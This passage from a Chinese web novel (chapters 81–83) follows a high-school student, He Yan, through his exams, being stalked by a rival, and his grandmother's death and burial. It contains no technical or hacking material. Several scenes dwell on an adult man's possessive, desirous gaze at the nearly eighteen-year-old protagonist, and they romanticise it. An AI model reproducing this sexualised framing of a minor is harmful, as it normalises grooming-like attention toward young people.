贺衍本来以为自己不是容易出汗的体质,但他实在是低估了津兴市的夏天,这里远远比罗河县要热太多了。 当他走到公交站牌那里的时候,额头已经浮上了一层薄汗,冷白的皮肤泛着晒后的微红,像是被指尖摩挲过一般,透着几分隐晦的欲色。 他看了眼地图软件提示,距离公交车过来还有十五分钟。 一辆黑色的普通汽车从他的面前路过,停在了公交车站前方最近的那个停车位上。 车外右侧的后视镜将烈日折射成一道刺眼的白边,贺衍就站在镜面的那道光晕里。 阳光刺目,汗水顺着他的眉骨滑落,贺衍抬手抹了把脸。他眯着眼,睫毛被汗水浸得发沉,湿漉漉地黏在眼尾,洇开一抹潮红。 车内,男人的喉结跟着滚动了一下,墨绿色的眼睛仿佛被钉在了后视镜里。 车内空调开得很低,男人却觉得指尖发烫。 他的瞳孔微微扩张,贪婪地攫取着镜中的每一寸细节,连带着眼里的光都变得晦暗不明。 贺衍脑子已经被热得发晕了,根本没有注意到熟悉的车牌号,他径直走到附近的便利店,买了一根雪糕。 贺衍吃着雪糕走回公交车站牌那里,百无聊赖地继续等着公交车的到来。 但雪糕只吃了一半,奶油已经承受不住烈日的炙烤融化了,乳白色的液体顺着贺衍的指节滑下。 他的舌尖无意识地舔掉唇边的融化的雪糕,将那抹白勾进了唇间。 贺衍有些烦躁地蹙了蹙眉,低声抱怨了一句:“这天也太热了,公交车怎么还没来,早知道就下午再来辞职了。” 车内,那双墨绿的眼睛越来越沉,像化不开的浓墨一般,裹挟着压抑的渴望。 公交车马上就要过来了,贺衍把吃完的雪糕棍扔到一旁的垃圾桶里,忽然瞥到了前面的那辆车。 他眨了眨,刚跑过去,副驾驶座的车窗就落了下来。 鄢忬神色已然恢复了正常,仿佛刚才的失态从未存在。 贺衍挑了下眉,笑着打了声招呼:“叔叔,还真是你啊,你怎么回津兴啦?不会是专门来接我的吧。” 鄢忬的目光不着痕迹地轻扫过贺衍的唇瓣,若无其事地说道:“你猜对了,上车吧。我这学期的课上完了,今天上午刚回津兴。本来是想着顺路接你下班,没想到过去的时候,他们说你已经辞职了。” 贺衍拉开车门坐了进来,发烫的后背贴到了冰凉的皮质靠背上。 他眯起眼,满足地呼出一口气:“终于活过来了,外面快要热死了。” 鄢忬握在方向盘上的手收紧,他的眸色暗了下去,睫毛低垂,遮住了眼底翻涌的欲色:“的确很热。” 他的神情平静,可眼神却不着痕迹地落在贺衍还沾着奶油的手指上,喉结微不可察地滚动了一下。 “擦擦手。”他的声音低沉,似乎只是随意提醒。 鄢忬将湿巾递给贺衍,指尖却若有似无地蹭过了他的掌心,一触即离。 贺衍对鄢忬这种程度的接触早已习以为常,根本没发现什么不对。 “谢啦。”贺衍拿着湿巾,低头擦拭着有些黏腻的指缝。 鄢忬收回手,目光却仍停留在贺衍擦拭的动作上,他的眼底暗了一瞬,像是某种隐秘的藏在心底的占有欲被短暂满足。 直到贺衍抬眼,鄢忬才若无其事地移开了视线。 贺衍放低了椅背,舒服地躺在上面闭上了眼睛。 汽车发动。 鄢忬瞥了眼他,低声提醒:“系上安全带。” “知道啦——”贺衍拉长尾音。 他刚系上安全带,正准备和鄢忬说话,手机忽然响了,是毕云吉的电话。 贺衍奇怪地蹙了下眉。 接通后,电话那头传来的第一句话就是:“贺衍,糟了,我闯了大祸了!”【你现在阅读的是 】 80-90 第81章 第 81 章 人影?幻觉? 第81章 杭书雅这段时间心情都不是很好, 自己的儿子被整到入狱,即使网上的消息已经花了大价钱封锁,但郗家的股票依旧跌了不少。 还有自己那个侄子, 说是会帮忙但根本没有帮到实处, 换监狱有什么用,等郗景出来, 都是下半年了,在这之间会发生什么,谁也不清楚。 到最后还是杭书雅亲自去了一趟淮新找她弟弟,才把刑期缩短到了三个月。 但她之前又亲口邀请了多琳来铜海,不管是为了面子还是里子, 她都不能拒绝多琳。 周五上午, 大概十点。 杭书雅带着她的朋友多琳·邓肯找到了毕云吉。 多琳·邓肯的年龄和杭书雅相差不大, 但是两人喜好的风格却迥然不同。她说完自己的要求后,就在毕云吉的工作室里自己闲逛了起来。 “就是你那张照片,那张照片我加在手稿里了, 从来没有让别人看过。”毕云吉语速飞快,语气里满是愧疚:“但是我那时候没有注意, 那位女士就把那张照片翻出来了。” “然后她问照片里的是谁,说我怎么会有这张照片。” 他一篮筐地把事情发生的经过说了出来:“我当然没有说, 我就瞎编说这是两年前我去亚纽州采风的时候, 遇到陌生人, 然后经过他的同意才拍的照片。” “那位女士没有怀疑我, 但,但是——”毕云吉刚才像是开了倍速的声音瞬间消音了,他结巴了一下,才磕磕巴巴地说道:“她直接说出了你的名字, 贺衍,你原来难道是淮新人吗,我刚才瞎编的亚纽州不会给你造成什么麻烦吧。” 车内空调吹出来的风很冷,贺衍脸上的晒出的红意已经消退了,心脏跳动的频率加快,他微微抿唇,眸色沉了些许:“她长什么样子?” “金发碧眼,年龄四十多,名字叫多琳·邓肯。”毕云吉停顿了一下,“对了,我之前听她和杭姐聊天,她好像有个儿子姓方,但是名字我给忘记了。” 贺衍眼前忽然闪过一个身影:“方盛寒?” 鄢忬握住方向盘上的手收紧,他微微眯了下眼。 “对对,就是这个名字。”毕云吉道歉的声音在电话那头断断续续地响着。 贺衍提着的心瞬间落地,贺衍记起了那位只有一面之缘的女士。他本来还以为毕云吉搞砸了什么,但现在这么一看,情况并不是很糟糕。 多琳·邓肯和自己并不熟悉,而且看毕云吉的说辞,多琳·邓肯似乎也只是在惊讶会在他那里看到了一张“已死”之人的照片罢了。 贺衍眉头微蹙,而且就算她告诉了方盛寒。 方盛寒或许知道他以前生活在略阿州,但略阿州和亚纽州本就毗邻,他自然会以为这张照片是他以前去亚纽州拍的,也并不会造成什么问题。 贺衍垂眸沉思了片刻:“如果之后有人问你,你都按这个说法就行,其他的你只要保持一问三不知的状态就好。” “还有那张照片,你最好——” 毕云吉生怕贺衍说出什么把照片销毁的鬼话,他立刻说道:“你放一百个心,我绝对把照片锁到保险柜里,绝对不可能再发生这种事情。” 贺衍嘴角抽了下,没再继续说什么。 正好是红灯,鄢忬踩下了刹车。 贺衍半躺在副驾驶座上,身体下意识前倾,被安全带勒到了喉咙,他下意识闷哼了一声。 “没事吧?” 贺衍摆了摆手,指尖轻揉了下刚才被勒住的喉结。 鄢忬目光落在了那处,然后移到了他还未完全熄灭的手机上,眸光微闪。 第二天中午,贺衍午睡醒来,脑子还有些蒙,头发被压得翘起了一边。 他边打哈欠边走到客厅,才发现除了李阿姨和奶奶之外,那里已经有了一位不请自来的客人。 鄢忬打了声招呼,对着沙发一侧的杨梅霞说道:“杨阿姨,正好阿衍醒了,那过一会儿我们就出发。” 贺衍睡眼惺忪,一脸疑惑地揉了揉眼,声音还带着几分刚睡醒的哑意:“这是要干什么呢?” 鄢忬抬眼望着他,睫毛轻颤,视线停在了被他揉得微微发红的泪痣上。 李红芹笑着说道:“哎呀,最近六月黄大闸蟹不是上市了,听说吃了这个,六月就能有好运。” 杨梅霞在一旁赞同地点了点头。 大闸蟹,非得现在去买吗,贺衍拒绝的话还没到嘴边,忽得又被他自己给咽了下去。 六月份的联邦高考,奶奶最近一直在念叨这件事,简直比自己还要紧张。 鄢忬起身,动作自然地捋了捋贺衍头上翘起来地呆毛:“出发吧。” 但好巧不巧,附近的几家超市都没了大闸蟹。 要是想买,他们得明天早上来。 “居然这么火爆吗,到底是谁传出好运和大闸蟹会有关系的啊。”贺衍耸了耸肩,夸张地摇了摇头,遗憾地说道:“看来今天是吃不到——” 就在贺衍以为可以回去的时候,鄢忬忽然出声:“谁说吃不到的,这里的超市没有,不代表其他超市没有。” 贺衍眼睛睁大了一瞬:“今天就非得买到啊?” 鄢忬唇角一勾,指尖弹了下贺衍头顶还剩下唯一那撮头发:“不是说有好运吗,当然是吃得越早越好。” 半小时后,汽车开到了几公里外的一家大型连锁购物中心,这家超市距离康泰和医疗中心很近。 汽车开进地下停车场的入口前,贺衍提前从车里出来,他渴得不行,打算去买一瓶水。 两人约好在超市的水产区那里汇合。 马路的另一边。 方盛寒手里拿着一瓶冰镇的矿泉水,瓶身被他捏得嘎吱作响。他整个人阴着一张脸,将那张还算精致的脸衬得格外恐怖。 昨晚老妈电话里说的那些话像是被刻进脑子了一样,一直不断地在他耳边徘徊着。 “你还记得那个贺衍吗?倒也真是个可怜孩子,那么年轻就去世了。不过还挺巧的,我上午在一个设计师那里见到了他之前照片,特别是里面那个马面裙,我挺喜欢的。”多琳·邓肯随口提了句,“对了背景也不错,那个设计师说是几年前在亚纽州的乡下拍到的。” 几年前,亚纽州? 方盛寒瞳孔猛地放大,不对,不可能,他查过贺衍之前所有的资料,除非是偷渡,否则州与州之间绝对会有过境记录。 贺衍他绝对没有去过亚纽州。 所以贺衍其实还活着,他根本就没死对不对! 方盛寒的身体抑制不住地颤栗:“妈,你哪个设计师那里看到的照片?” [毕云吉,出生于津兴市,大学……] 方盛寒直接跳过那些没用的信息,终于找到了自己想要的信息。 [毕云吉之前一直活跃在津兴市,拥有一家云织间工作室。目前活跃在铜海,新的工作室地址……] 一个月前才来铜海,那张照片不可能是这一个月内拍摄的。 方盛寒像个游魂一样,把云织间工作室周围所有的地方都摸了一遍。 他举着手机里偷拍的照片问遍了这间工作室附近所有可能见过贺衍的人。但不知道什么原因,没有人一个人说见过。 刚才,他从便利店的收银员那里得到的又是同样的答案。 矿泉水瓶身凝结的水珠滴在鞋面上,方盛寒茫然站在路口,难道是自己搞错了,为什么没有人见过贺衍。 难道贺衍之前真的去过亚纽州,那个设计师真的就是在那里拍到了他的照片。 方盛寒扯了扯嘴角,把手里的水瓶猛地砸进垃圾桶。 他忽然抬头,死死地盯着对面,一个戴着棒球帽的身影走进了对面的街上的一家便利店。 “那是贺衍?” 他翻过围栏,横穿马路,几乎跟一辆车擦身而过,引得那个司机破口大骂。 方盛寒充耳不闻,他藏在便利店外的树后,指尖发麻,声音抖得不像话,他小声地自言自语,又仿佛是自我安慰一般不断重复着:“刚才应该不是我看错了吧,那是贺衍,就是贺衍!” 便利店的玻璃门从里面推开了,方盛寒的心脏几乎停止了跳动。 那是真的,活生生的,不是躺在冰冷的棺材里的贺衍。 身体比大脑先一步行动,方盛寒冲到了贺衍身边,就在他碰到贺衍身体的那一瞬间,眼前的人影消失,他扑空到了地上。 方盛寒重重摔在地面上,膝盖擦过粗糙的地面,方盛寒疼得脸都拧在了一起。 周围路人投来诧异的目光,可方盛寒完全顾不上这些,他仓皇爬起来时,视线疯狂地扫视着四周。 可什么都没有,刚才的人影好像是他自己的幻觉。 “贺衍——”方盛寒嘶哑地喊出声,可回答他的只有街道上嘈杂的声响。 贺衍站在街角的广告牌后面,压低了帽檐,冷冷地注视着这一切。 方盛寒居然会找过来。 真是大意了,看来以后不能再来这里了。 他喝了一口水,冷意顺着喉咙滑落,将喉间翻涌的情绪狠狠压下去,转身没入了人群之中。 在贺衍离开之后,方盛寒忽然抬起眼睛,视线定格在了某处。 那个便利店里,有监控。 方盛寒朝那个方向走了过去。 第82章 第 82 章 这是他第一次见贺衍哭…… 第82章 “欢迎光临!” 方盛寒面无表情地推开玻璃门, 他环视了一圈,目光落在门口的监控上,那个角度, 可以清晰地拍到人脸。 方盛寒把手机里贺衍的照片递到店员面前, 语气紧迫:“刚才这个人是不是进来买东西了?” 店员的哈欠刚打了一半就被迫咽了下去,她眨了眨眼, 她知道照片里的是谁,这么帅的人,她当然有印象。 但店员却一脸茫然地摇了摇头:“没有啊,刚才就是我在收银,没有看见这个人啊。” 方盛寒那双眼睛里已经出现了血丝, 他唇瓣抿成一条笔直的线, 深吸了一口气, 命令般地说道:“让我看一眼监控。” 他伸手指着门口的监控,眉头皱在一起:“监控绝对拍到他了。” 店员摇了摇头:“不好意思啊,先生, 监控不能看。” 方盛寒用力拍了一下收银台,翠绿的猫眼里满是怒意, 他怒气冲冲地说道:“你要多少钱,我都给你!现在, 把监控打开!” 这人什么态度啊, 店员克制住想要翻白眼的冲动, 她扯出一抹假笑:“不是钱的问题, 主要是我们店里的监控坏了,维修工过一会儿就要过来修,所以实在是看不了。” 那个金发的男人气急败坏地离开了。 店员噘起嘴,对着他的背影做了个鬼脸。 便利店的另一个男性店员刚从仓库里出来:“发生什么了, 表情这么臭。” 女店员耸了耸肩:“你也知道,咱们这条街铺面几个月前被一个大老板买下来了,那位大老板不是吩咐说不管什么人来打探,都不能说出那个小哥的消息嘛。刚才那个帅哥前脚买完东西刚走,后脚就有一个人过来问了。” 男店员挑了下眉,眼里闪过八卦的光:“那个小哥长得真有照片里那么帅吗?” 女店员用力点了点头:“说实话,真人远比照片帅,我刚才结账的时候都不敢大声说话。” 购物中心的地下一层都是超市。 鄢忬已经在大闸蟹前面挑选起来了。 贺衍打了声招呼,盯着水里的螃蟹,发起了呆。 鄢忬吩咐负责这个区的服务员把这些螃蟹装好,他回来的时候,发现贺衍还在发呆。 鄢忬拍了下的肩膀,随口问道:“怎么心不在焉的?” “没事不能发呆啊。”贺衍眨了下眼,他指了指地上两个泡沫箱:“这些都是吗?” 鄢忬点了点头。 贺衍抱起了其中一箱,对着鄢忬扬了扬眉,整个人的表情瞬间灵动起来:“叔叔,另外那一箱就拜托你拿了。” 鄢忬瞥了眼地上剩下的那个明显更大一点的泡沫箱,好笑地摇了摇头,也就只有他敢这么随便吩咐自己了。 他望着贺衍的背影,眸光却暗了下去,如果他知道了自己的身份,还会像现在这样和自己亲近吗? 晚上,杨梅霞亲自下厨,大闸蟹冒着热气,蟹壳透红泛油光,很是诱人。 贺衍不怎么爱吃螃蟹,拆壳的动作也不怎么熟练。 鄢忬把拆好的螃蟹放到了贺衍跟前,杨梅霞看到这一幕正准备说什么呢,紧接着鄢忬又递给了她一盘拆好的蟹肉。 “你这孩子,这,给我干嘛,我又不是小衍那孩子。” 杨梅霞半推半就也就忘了刚才那件事。 “再有半个多月就要考试了,小衍也要上大学了。”杨梅霞慈爱地笑着,眼里闪着些许的泪花,但很快就被她给压下去了。 “当然啦,等我考上了,开学的时候还要让奶奶送我去学校呢。”贺衍眼角弯弯地看着杨梅霞,他的脸上带着几分难得的稚气。 杨梅霞揉了揉贺衍的头。 又过了几天,吃完晚饭,贺衍正陪着杨梅霞看电视。 杨梅霞随便跳转了一个台,正好是电影频道,现在正在直播,里面的主持人似乎准备去探班某个电影片场。 贺衍揉了揉肩膀,不感兴趣地站起来离开,他还没走到卧室,就听见杨梅霞发出了一声惊呼。 贺衍立刻转身跑到客厅:“奶奶,出什么事了?” 贺衍担忧的目光落在杨梅霞的身上,杨梅霞示意贺衍看向电视屏幕,惊讶地说道:“小衍,那个叫行水的明星怎么跟小琚长得那么像啊。” 贺衍的视线移到了电视上,眉头瞬间蹙起。 电视屏幕里,那个卷发的男人正凝望着镜头。 他的面容完美,微卷的发丝垂落在额前,那双深邃的眼里似乎含着一汪秋水,玫瑰色的薄唇轻抿,带着几分丝若有似无的笑意。 镜头拉近时,那张脸更加精致了,美得几乎让人窒息,他望着镜头,目光仿佛能穿透屏幕。 无法从噩梦里驱散的声音从电视机里传出。 那个声音再一次耳边徘徊。[那些天,我每晚都和哥哥睡在一起,哥哥一定不知道吧。] 贺衍的眼神骤然变冷,薄唇抿成锋利的直线。 “奶奶,你认错了。”贺衍撂下一句话,转身就离开了。 杨红梅看着他的样子,抿着唇,眼角的皱纹更明显了。 她拿起遥控器关了电视,眼睛忽然垂了下去,叹了一口气,后面再也没有提过这件事。 一周后,六月初,联邦高考考场座位安排发布,瞬间攀上了网络热搜。 贺衍报名的地方在津兴市,但考点却在津兴市郊区,距离他们现在住的福宁小区有四十多公里。 贺衍打算提前去一周,在考点附近租一间房子。 与此同时,另一件只有部分人关注的投资新闻也爬上了热搜的尾巴,但很快就消失了踪迹。 联邦最具权威性的投资分析网站[超维数据]在六月的第一个工作日出具了一份分析报告,这份报告列举了近年来十件最具代表性的项目投资失败案例。 其中有六个案例都来自方控风投。 这份报告出具后,不少金融媒体都转发了这份分析文章,并对方控风投的投资策略或管理能力提出了部分质疑。 淮新,圣洛莱索高三学生在五月份已经结束了他们的高中生活,其中部分学生早早就拿到了联邦大学的录取通知书。 方盛寒就是其中之一。 晚饭,方盛寒慢吞吞地走到餐桌。 颓废地没有半点精神气,方仁敬沉着一张脸,猛地把筷子摔到桌面:“又是这个样子,已经一周了,方盛寒,你到底是怎么回事,越来越不像话了!” 眼看方盛寒就要和方仁敬吵起来,多琳·邓肯连忙出声:“仁敬,今天外面是不是有人惹你生气了,我看你回来的时候心情就很差。” 方仁敬恨铁不成钢地瞪了方盛寒一眼,随后沉声说道:“合伙人里有一小部分打算撤资,就因为前几天超维数据发布的那篇文章。” 多琳·邓肯给方盛寒使了个眼神,让他赶紧道歉,一边柔声继续问道:“但我看打算撤资的那些人,占股本来也不高,应该不会对我们公司造成太多影响的。” 方仁敬深吸了一口气,他捏了捏眉头:“那的确不算什么,但是上周差不多快谈好的那个无人机项目,今天被俞杉风投用双倍估值的价格抢走了。” 多琳·邓肯略微疑惑地蹙眉:“可我们公司和俞杉风投本来井水不犯河水,他们怎么会来抢我们的项目。” 方仁敬阴沉着脸:“如果没有超维数据那篇文章,那个无人机项目的负责人也不会带着他的计划书去俞杉风投。也不知道是谁看我们不顺眼,专门做了一篇分析来整我们。” 方盛寒无聊地撇了撇嘴,刚好被方仁敬给看见了,方仁敬压着怒意,低声问道:“你有什么不满吗?” 方盛寒翻了个白眼,扔下了一句话就走了:“那文章又没说错,那些项目我们不就是投资失败了嘛。” 方仁敬气得脑子发晕,他指着方盛寒,半晌说不出一句话。 时间晃得很快。 六月十七号,为期两天的联邦高考落下帷幕。 贺衍从考点回到津兴市区的时候已经是晚上八点多了。 他拧动钥匙打开房门,却发现客厅的灯暗着。 奶奶已经睡了吗?李阿姨也睡了,这么早? 太奇怪了,他把灯打开,走进里面,却发现没有一个人。 贺衍蹙眉,眼皮开始狂跳。 他在房子里转了一圈,在客厅的桌面上发现了一张纸条,是李红芹的字迹:[贺衍,你奶奶旧病复发了,但她一直不让告诉你,怕影响你让你考试分心。如果你考完回来看见这张纸条,可以来康泰和医疗中心找我们。] 纸条从贺衍颤抖的手指间滑落,他的大脑一片空白,耳边只剩下自己剧烈的心跳声。 白血病复发? 这几个字在他脑海中炸开。 贺衍喉咙发紧,为什么会复发,为什么不告诉自己。 贺衍给李红芹打了通电话,但是没有打通。 他猛地抓起钥匙和手机冲出家门,等他跑出小区时,分不清是因为奔跑还是恐惧,他的手心里已经全是汗了。 一辆出租车刚好经过。 贺衍站在路边拼命挥手,他的声音几近嘶哑:“出租车!” 出租车在他面前停下,他拉开车门钻进去:“康泰和医疗中心,越快越好!” 贺衍死死咬住嘴唇,面上一片焦急之色,手指不停地敲打着膝盖。 司机从后视镜看了他一眼,默默加快了车速。 因为是联邦高考结束的这一天,即使是晚上八点多,路上的车流依旧拥堵,每个路口几乎都是红灯。 贺衍掏出手机,颤抖着再次拨通了李红芹的电话,却依旧无人接听。 未知的恐惧像一只无形的手死死扼住了他的喉咙,让他几乎无法呼吸。 “小伙子,快到了。”司机的声音将他拉回现实。 贺衍抬头,他的眼里已经出现了血丝。 康泰和医疗中心到了。 车还没完全停下,贺衍就推开车门冲了出去。 推开医院大门的瞬间,刺鼻的消毒水味扑面而来。 贺衍半刻也没有停留地冲向大厅的服务台:“请问杨梅霞,她是白血病患者,请问杨梅霞住在哪里?” 他的声音断断续续,几近破碎。 坐在服务台的护士刚好是之前的卢慧慧,她听出贺衍的声音,抬头看向他,看到了他的焦急和恐惧交织的表情。 卢慧慧有些不好受地抿了下唇:“杨老太太现在在六楼的手术室。” 贺衍盯着电梯里不断上升的楼层数字,心脏几乎要跳出胸腔。 电梯“叮”的一声到达六楼。 门开的瞬间,在走廊尽头的亮着红灯的手术室外,贺衍看到了李红芹的身影。 贺衍喉结滚动,心脏没有任何规律地杂乱跳动着,他的声音发颤:“李阿姨,我奶奶怎么样了?她是什么时候住院的,怎么会复发了,我走之前不还是好好的吗,怎么现在忽然就在医院了。” 李红芹转过身,脸上的表情让贺衍本来还带着几分希望的心瞬间沉到谷底。 李红芹的神色悲痛,满是无力和沉闷:“其实,你奶奶几个月前身体就不怎么好了,不然她也不会请鄢先生,让鄢先生帮忙我来。” “她是昨天上午突然又晕倒了,半个小时前进的手术室。鄢先生也在这里,这两天一直是他在处理医院的各项事情,刚才医生过来,把他叫走了。” 贺衍脑袋忽然开始发胀,因为剧烈奔跑而发热的手脚瞬间冰凉,他的心脏发闷,几乎让他无法呼吸。 所以,三月份的晕倒,其实根本不是偶然。 李红芹用力握住了贺衍的手,安抚地说道:“贺衍,医生正在全力抢救……” 可贺衍却什么都听不下去了,他靠着墙慢慢滑坐在了地上,抱紧双膝,像个迷了路的孩子一般。 什么高考、什么大学,这个世界的一切对他来说都不重要,他只要奶奶,他只要奶奶平安无事。 “都是我的错。”贺衍面色惨白,眼里覆着一层雾,“如果我早点发现奶奶不舒服……” 李红芹无措地看着他,可是安慰的话听起来是那么苍白又无力。 鄢忬不知道什么时候走了过来,他单膝蹲下,轻轻把他抱在了怀里:“不是阿衍的错,不是阿衍的错。” 贺衍身体颤抖着。 鄢忬把他抱得更紧了。 但幸运不是每一次都会降临。 凌晨一点,穿着防护服的医生从手术室里走了出来。 “很抱歉,我们尽力了。”医生的话像是一把钝刀,一字一句地割着贺衍的神经。 世界仿佛一瞬间天旋地转,贺衍太阳穴突突跳动,头痛欲裂。 贺衍大口喘着粗气,胃里一阵痉挛,他的手指无意识地抓紧了鄢忬的衣角。 膝盖像是突然间失去了支撑的力量,他整个人忽然没了力气,眼前一片模糊,周围的声音仿佛从很远的地方传过来,听不真切了。 就在他几乎要被痛苦淹没时,一双有力的手臂环住了他。 贺衍下意识挣扎,他抬起眼,撞进了鄢忬那双墨绿色的眼睛,泪水忽然就控制不住地涌出眼眶。 鄢忬的掌心按在了他剧烈起伏的后背上,手一下下地抚过他颤抖的脊背。 贺衍将额头抵在鄢忬的肩头,泪水浸湿了他的肩膀。像是寻求安全感的动物一样,死死攥紧了鄢忬的衣角。 “叔叔,为什么……为什么是奶奶……” 贺衍的呜咽声闷在了鄢忬的肩膀里,滚烫的呼吸喷洒在对方颈侧。 这是他第一次见贺衍哭。 即使是他最开始见到贺衍的那次,那种情况下,他也没有落泪。 鄢忬心里钝疼,指尖也跟着发颤。他抿着唇,将贺衍搂得更紧了,手掌抵在了贺衍发顶,轻轻地摩挲。 鄢忬陪着贺衍一起办理了杨梅霞的丧事。 一周后,两个人带着她的骨灰,回到了略阿州。 同样是六月下旬,因为杭书雅的各种运作,郗景提前出狱了,他在监狱里只待了一个半月。 第83章 第 83 章 岑靳落地铜海机场…… 第83章 客厅里的茶几上, 孤零零地放着一个暗红的漆盒。 贺衍垂着眼睛,声音很闷:“奶奶之前说过,如果她去世了, 她希望能够安葬在罗河县, 和爷爷葬在一起。” 鄢忬墨绿色的眸子望着他,轻声说道:“那我们回去, 回罗河县。” 罗河县。 自从杨梅霞和贺衍都离开这里之后,贺振刚每天的生活都过得千篇一律。 周一到周六,早上去工厂上班,中午在工厂门口买一份十二元的盒饭,吃完饭回家睡一会儿, 下午再去上班。晚上下班了, 就找几个酒友喝酒。 周日他不上班, 就在家里摊着。 去年十一月份他接到了贺衍的电话后,提起精神了一段时间。可后来,贺衍的那个手机号就打不通了。 周日上午, 贺振吃完午饭,躺在客厅的沙发上呼呼大睡。 炎热的夏季, 只有天花板上的老牌电风扇呼呼转着。 空调遥控器就放在距离沙发不到一米的桌面上,但贺振刚只有晚上才会开。 这个不足五十平米的小房间, 天花板已经全部发霉了, 墙皮一碰就脱皮, 因为夏季的潮热, 水泥地从灰色变成了黑色。 空气里弥漫着潮湿的味道,一切都是原来那种糟糕的模样。 贺振刚已经打起了呼噜。 忽然,一串铃声伴随着震动从他口袋里的手机传来,把贺振刚猛地震醒了。 他擦了一把嘴, 看了眼完全陌生的号码,还是别的州的号码,不会又是什么诈骗电话吧。 贺振接通电话,正准备破口大骂,就听见电话那头传来了熟悉的声音。 “爸,我一会儿就到家了。” 贺振刚不过就愣了一下,电话就被挂断了。他咂吧了一下嘴,整张脸都皱在了一起,不对劲啊,那小子的语气怎么那么不对劲。 虽然这么想着,贺振刚还是着急忙慌地把家里打扫了一遍。 二十分钟后。 贺衍抱着骨灰盒站在老旧的单元门前,手悬在半空,却迟迟没能敲下去。 鄢忬站在他身后半步,手掌无声地搭上他肩膀。 门外传来了敲门声。 贺振刚打开门,第一眼看见的就是被贺衍抱在怀中的那个暗红色的漆面木盒。 “你奶奶没跟着你一起回来啊——” 贺衍打断了他,声音低哑:“奶奶跟着我回来了。” 贺振刚愣了一下,有些没反应过来。他忽然激灵了一下,瞳孔猛地收缩,目光再次落在了那个盒子上。 贺衍喉结滚动:“爸,对不起……我没照顾好奶奶。” 贺振刚嘴角抽动几下,目光越过贺衍落在了他身后明显贵气逼人的男人身上,但什么话也没说,最终只是侧身让开了门。 屋内弥漫着潮湿发霉的味道,茶几上散落着贺振刚还没来得及收下去的空酒瓶。 鄢忬看着逼仄的客厅和狭小的房间,喉咙发紧。 贺衍曾经轻描淡写地说过“家里条件一般”,但他竟不知道是这个意思。 玄关处脱漆的鞋柜,上面还有几处后面用木板和钉子加固的痕迹,但看起来更加破烂不堪了。 墙皮剥落的地方已经露出黑色的霉斑,潮湿的霉味钻进鼻腔,让他的太阳穴突突跳动。 墨绿色的瞳孔沉了下来,他的心脏跳得又重又急,撞得胸腔发疼。 他居然在这种环境里,生活了将近十八年吗? 没有一个人开口说话。 贺振刚把茶几上的歪七扭八的空酒瓶子收走,他看了眼贺衍,突然出声,打破了令人窒息的沉默。 “别抱着了,放上面吧。” 贺衍抬起了头,压抑的情绪在眼底翻滚,胸口闷疼。 他忽然看到了贺振刚泛红的眼眶,还有他鬓角的白发,怔了一下。 贺振刚看贺衍没动作,就走过去把他怀里的骨灰盒拿了出来,然后轻轻放到了茶几上。 他重重叹了一口气,声音无奈又无力:“儿子,你跟我道什么歉呢。要说道歉,最对不起我妈的,其实应该是我。” 贺衍嘴巴张了一下,但半晌也没发出什么声音。 空气潮湿黏热,即使天花板上的风扇开到了最大。 贺衍还是闷出了一身汗。 贺振刚胡乱地揉了揉头发,他看了眼坐在贺衍旁边的鄢忬,明明穿着再普通不过的衣服,但坐在那里一看就知道不是普通人。 贺振刚唇角嗫嚅着,但最终也没敢张口问这是谁。 他又长叹了一口气,猛地站起身,拿着钱包就往外走:“有客人跟着你一起回来,怎么也不先跟我说一声,我出去买点吃的。” 就在他即将走出门时,忽然又折返了回来,他打开空调,又把遥控器塞到了贺衍手里。 上了年纪的空调开始运作,冷气伴随着咔哧咔哧的声音从出风口里飘出。 大门被关上了。 贺衍目光涣散,表情沉默。 厨房里突然传来了“砰”的一声闷响,紧接着是哗啦啦的水流声。 贺衍被这声音惊动,他抿了下唇,看了眼手里的遥控器,把它放到了茶几上,随后起身走到厨房。 鄢忬跟在他的后面,看到厨房的模样,眉梢微微蹙起。 厨房只有三四平米,是一个狭窄长方形,基本上只能容纳一个人通过。里面堆满了各种东西,有些厨具因为太长时间已经布满了灰尘。 贺衍叹了口气,他拧了几下水龙头,但没什么用,水依旧在哗哗地流着。 他蹲下来,动作熟练地从下面堆着的杂物堆里拉出来一个硬纸盒子,里面放着维修工具和一些金属零件。 贺衍站起来,头也不抬地说了句:“估计是阀芯锈死了。” 他的手腕一拧就卸下了生锈的螺母,把替换的阀芯安了上去,“咔嗒”一声轻响,水龙头恢复了安静。 鄢忬看着他的熟练的动作,胸口突然涌上难掩的酸涩感。 贺衍洗了把手,他甩了甩手上的水珠,把工具放回纸箱里,起身时短袖下摆被墙上的挂钩勾住了一角,露出了腰间若隐若现的肌肉线条。 他随手抹了把额前的汗,绕过鄢忬走回了自己的房间。 房间里一切的陈设如旧,看得出来,贺振刚大概定期会打扫一遍。他去年离开打工的火锅店的围裙,被贺振刚挂在了门后的架子上。 杨梅霞之前养的那几盆花,被贺振刚搬到了阳台上那里。 只是死了大半,活着的那几盆,叶片也已经发黄了。 大概过了一个多小时后,贺振刚才回来,但他手里什么东西也没拿,只是眼角看着有一点红。 “咱们还是出去吃吧。”贺振刚看向鄢忬,犹豫了下,又看着贺衍说道,“小衍啊,这位是?” 贺衍的情绪已经平复了,他介绍着说道:“这位是鄢忬,之前奶奶刚生病的时候,是他资助过我们,后来碰巧遇见了。” 贺振刚对着鄢忬勉强笑了下:“当年多谢鄢先生了。” 午饭后,三人又回到了老旧的小区。 贺振刚盯着茶几上的暗红色漆盒,低声道:“你奶的要求我知道了,但是合葬得找一个合适的时间。我一会儿去找个师傅挑个好日子。你这些天要是没事,在家里多待几天。” 贺衍嗯了一声。 贺振刚把一串钥匙递给了贺衍:“当初给你买的那一套房,在县城东边的阳光小区,就在你学校附近那里。咱这个小房子也住不了那么多人,你们晚上去那里住吧。” 鄢忬和贺衍是先坐飞机早上到达了市区,然后在市区租了一辆车,开车来到了罗河县。 阳光小区距离贺衍家的老小区有三公里不到,是两年前新建的学区房。 十分钟后,车开到了阳光小区。 贺衍下车的时候,忽然发现贺振刚在微讯里给他转了五千块钱:[新房里没什么东西,你一会儿去附近的超市里自己添一点。] 新房有一百二十多平米,三室一厅一卫。 但并不是贺振刚说的什么都没有,除了没有洗漱用品和床铺被褥,基本上硬装软装都有。 贺衍没有收那笔钱。 五天后,按照杨梅霞的遗愿,她和自己的丈夫合葬了。白事要办席,贺振刚已经先离开去主持下午的丧宴了。 夏日的黄昏像融化的琥珀,整个墓园被笼罩在一片金色的光晕里。 贺衍站在墓碑前。 墓碑上是杨梅霞照片,那是今年五月份,他们在铜海的时候,贺衍给她拍的照片。 不知是汗水还是泪水,贺衍的睫毛湿漉漉地黏在眼尾,在眼下洇开一抹潮红。 远处的梧桐树下,鄢忬的烟烧到了指尖。 